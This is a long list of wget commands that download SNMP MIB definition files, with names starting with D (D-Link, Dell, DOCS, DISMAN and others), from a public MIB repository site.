wget http://www.circitor.fr/Mibs/Mib/D/DC-MGMD-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DC-OPT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DC-RTM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DCLRA-MIB-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DCP-OPT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DCS3FRU-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DCS3RMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DDM-MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DDN-WOS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DDS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DE-OPT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DE1500-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DEC-ATM-CHASSIS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DEC-ATM-SIGNALLING-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DEC-BUS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DEC-ELAN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DEC-ElanConc.mib
wget http://www.circitor.fr/Mibs/Mib/D/DEC-LECS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DEC-LES-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DECATM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DECHUB90-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DECHUB900-CHASSIS-MIB-V3-0.mib
wget http://www.circitor.fr/Mibs/Mib/D/DECHUB900-COMMON-MIB-V3-0.mib
wget http://www.circitor.fr/Mibs/Mib/D/DECHUB900-ERPTR-MIB-V3-0.mib
wget http://www.circitor.fr/Mibs/Mib/D/DECHUB900-HRIP-MIB-V3-0.mib
wget http://www.circitor.fr/Mibs/Mib/D/DECHUB900-HUBMGR-MIB-V3-0.mib
wget http://www.circitor.fr/Mibs/Mib/D/DECHUB900-PTRM-MIB-V3-0.mib
wget http://www.circitor.fr/Mibs/Mib/D/DECNET-PHIV-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DECnet-iv.mib
wget http://www.circitor.fr/Mibs/Mib/D/DECserver-Accounting-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DELIBERANT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DELL-ASF-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DELL-RAC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DELL-REF-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DELL-SHADOW-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DELL-SNMP-UPS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DELL-STORAGE-SC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DELL-TL2000-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DELL-TL4000-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DELL-WLAN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DELLBASEBOARDMIF-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DELLLOCALRESPONSEAGENTMIF-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DELLRAC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DEMO-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DEPNODE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES-1210-08P-AX.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES-1210-08P-BX.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES-1210-10-AXME.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES-1210-10AXME.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES-1210-10MEbx.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES-1210-26MEbx.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES-1210-28-AX.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES-1210-28-AXME.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES-1210-28-BX.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES-1210-28ME-B2.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES-1210-28MEbx.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES-1210-28P-Ax.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES-1210-28P-BX.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES-1210-52-AX.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES-1210-52-BX.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES-1210-52-CX.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES-1226G-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES-1228-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES-1228P-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES1228B1ME-L3MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES1228ME-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES1228MEv2-28-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES3010F-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES3010FL-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES3010g-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES3016-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES3018-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES3026-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES3028-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES3028G-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES3028P-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES3052-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES3052P-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES3200-10-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES3200-10-L3MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES3200-18-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES3200-18-L3MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES3200-26-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES3200-26-L3MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES3200-28-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES3200-28-L3MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES3200-28F-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES3200-28F-L3MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES3200-28P-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES3200-52-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES3200-52P-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES3200ME-28-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES3200ME-28-L3MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES3200ME-28-LED-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES3226S-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES3326S-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES3326SR-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES3526-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES3528-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES3528-SWL3MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES3528DC-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES3528DC-SWL3MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES3528P-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES3528P-SWL3MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES3550-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES3552-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES3552-SWL3MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES3552P-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES3552P-SWL3MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES3810-28-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES3810-52-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES3828-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES3828-SWL3MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES3828DC-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES3828DC-SWL3MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES3828P-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES3828P-SWL3MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES3852-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES3852-SWL3MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES3852P-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES3852P-SWL3MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DES6500-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DESKSNMP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DESKTRAP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DEV-CFG-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DEVBASE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DEVCONTROL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DEVETHERNET-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DEVEVENT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DEVFILTER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DEVHW-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DEVICE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DEVNM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DEVROUTE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DEVSERVER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DEVSW-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DEVTRAPS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DF10-DCB-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DFL1660-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DFL210-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DFL2500-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DFL2560-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DFL260-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DFL260e-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DFL800-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DFL860-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DFL860e-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DFM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DFRAP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGCNAS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS-1210-24-AX.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS-1210-48-AX.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS-1210-52-BX.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS-3120-24PC-L3MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS-3120-24SC-DC-L3MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS-3120-24SC-L3MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS-3120-24TC-L3MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS-3120-48PC-L3MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS-3120-48TC-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS-3120-48TC-L3MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS-3420-26SC-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS-3420-26SC-L3MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS-3420-28PC-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS-3420-28PC-L3MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS-3420-28SC-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS-3420-28SC-L3MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS-3420-28TC-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS-3420-28TC-L3MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS-3420-52P-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS-3420-52P-L3MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS-3420-52T-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS-3420-52T-L3MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS-3620-28PC-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS-3620-28PC-L3MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS-3620-28SC-DC-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS-3620-28SC-DC-L3MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS-3620-28SC-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS-3620-28SC-L3MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS-3620-28TC-DC-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS-3620-28TC-DC-L3MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS-3620-28TC-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS-3620-28TC-L3MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS-3620-52P-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS-3620-52P-L3MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS-3620-52T-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS-3620-52T-L3MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS-3700-12-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS-3700-12G-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS3024-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS3120-24PC-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS3120-24PC-LED-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS3120-24SC-DC-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS3120-24SC-DC-LED-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS3120-24SC-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS3120-24SC-LED-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS3120-24TC-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS3120-24TC-LED-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS3120-48PC-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS3120-48PC-LED-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS3120-48TC-LED-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS3200-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS3216-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS3224-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS3312SR-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS3426-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS3426G-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS3426P-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS3427-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS3450-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS3612-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS3612-SWL3MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS3612G-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS3612G-SWL3MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS3627-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS3627-SWL3MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS3627G-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS3627G-SWL3MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS3650-L2MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DGS3650-SWL3MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DH90-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DHCP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DHCP-RELAY-MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DHCP-Server-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DHCP-V4-RELAY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DHCPv6-RELAY-MGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DIAL-CONTROL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DIAMETER-BASE-PROTOCOL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DIAMETER-CC-APPLICATION-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DIAMETER-NASREQ-APPLICATION-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DIDACTUM-SYSTEM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DIFF-SERV-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DIFFSERV-CONFIG-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DIFFSERV-DSCP-TC.mib
wget http://www.circitor.fr/Mibs/Mib/D/DIFFSERV-MIB-CAPABILITY.mib
wget http://www.circitor.fr/Mibs/Mib/D/DIFFSERV-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DIFFSERV-POLICY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DIGIUM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DIRECTORY-SERVER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DIRISBCMS.mib
wget http://www.circitor.fr/Mibs/Mib/D/DISK-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DISMAN-EVENT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DISMAN-EXPRESSION-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DISMAN-NSLOOKUP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DISMAN-PING-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DISMAN-SCHEDULE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DISMAN-SCRIPT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DISMAN-TRACEROUTE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DKSF-201-9-X-X-1.mib
wget http://www.circitor.fr/Mibs/Mib/D/DKSF-202-9-X-X-1.mib
wget http://www.circitor.fr/Mibs/Mib/D/DKSF-253-5-X-A-X.mib
wget http://www.circitor.fr/Mibs/Mib/D/DKSF-253-6-X-A-X.mib
wget http://www.circitor.fr/Mibs/Mib/D/DKSF-48-4-X-X-1.mib
wget http://www.circitor.fr/Mibs/Mib/D/DKSF-50-11-X-X-X.mib
wget http://www.circitor.fr/Mibs/Mib/D/DKSF-50-8-1-A-X.mib
wget http://www.circitor.fr/Mibs/Mib/D/DKSF-52-9-X-X-1.mib
wget http://www.circitor.fr/Mibs/Mib/D/DKSF-54-1-X-X-1.mib
wget http://www.circitor.fr/Mibs/Mib/D/DKSF-60-4-X-X-X.mib
wget http://www.circitor.fr/Mibs/Mib/D/DKSF-70-3-X-X-1.mib
wget http://www.circitor.fr/Mibs/Mib/D/DKSF-70-4-X-X-1.mib
wget http://www.circitor.fr/Mibs/Mib/D/DKSF-70-5-X-X-1.mib
wget http://www.circitor.fr/Mibs/Mib/D/DKSF-707-1-X-X-1.mib
wget http://www.circitor.fr/Mibs/Mib/D/DKSF-707-2-X-X-1.mib
wget http://www.circitor.fr/Mibs/Mib/D/DL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DL-NEW-DSX1-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DL-SLA-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DL150-STD-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DL5400-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DL80-STD-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DLB-802DOT11-EXT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DLB-ATHDRV-STATS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DLB-GENERIC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DLB-RADIO3-DRV-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DLGC-GLOBAL-REG.mib
wget http://www.circitor.fr/Mibs/Mib/D/DLGDS1-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DLGHWINF-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DLGR4DEV-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DLGSRPRF-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DLINK-3100-BRIDGEMIBOBJECTS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DLINK-3100-DEVICEPARAMS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DLINK-3100-INC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DLINK-3100-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DLINK-3100-TRAPS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DLINK-AGENT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DLINK-AUTH-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DLINK-EQUIPMENT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DLINK-ID-REC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DLINK-MCB-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DLINK-PORT-SECURITY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DLINK-TIME-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DLINK-WLAN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DLINKMGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DLINKSW-ENTITY-EXT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DLINKSW-SYSLOG-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DLINKSW-SYSTEM-FILE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DLM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DLMOD-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DLMS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DLSW-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DMA200-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DMTF-DMI-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DMTF-LAN-ADAPTER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DMTF-MOBILE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DMTF-MONITOR-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DMTF-SERVICE-LAYER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DMTF-SOFTWARE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DMTF-SYSTEMS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DMTFDMI.mib
wget http://www.circitor.fr/Mibs/Mib/D/DMswitch-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DNMSALARM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DNOS-BOXSERVICES-PRIVATE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DNOS-SWITCHING-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DNS-340L-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DNS-RESOLVER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DNS-SERVER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DNS-TRAPS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DNS110004-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DNS120005-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DNS343-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DNSHOTEXT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DNSSERVEREXT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DOCS-BPI-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DOCS-BPI2-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DOCS-CABLE-DEVICE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DOCS-CABLE-DEVICE-TRAP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DOCS-DIAG-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DOCS-DRF-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DOCS-IETF-BPI2-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DOCS-IETF-CABLE-DEVICE-NOTIFICATION-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DOCS-IETF-CABLE-DEVICE-TRAP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DOCS-IETF-QOS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DOCS-IETF-RFI-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DOCS-IETF-SUBMGT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DOCS-IF-EXT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DOCS-IF-M-CMTS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DOCS-IF-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DOCS-IF3-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DOCS-IFEXT2-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DOCS-L2VPN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DOCS-LOADBAL3-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DOCS-LOADBALANCING-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DOCS-MCAST-AUTH-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DOCS-MCAST-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DOCS-QOS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DOCS-QOS3-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DOCS-SEC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DOCS-SUBMGT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DOCS-SUBMGT3-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DOCS-TEST-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/D/DOS-PREV-MIB.mib
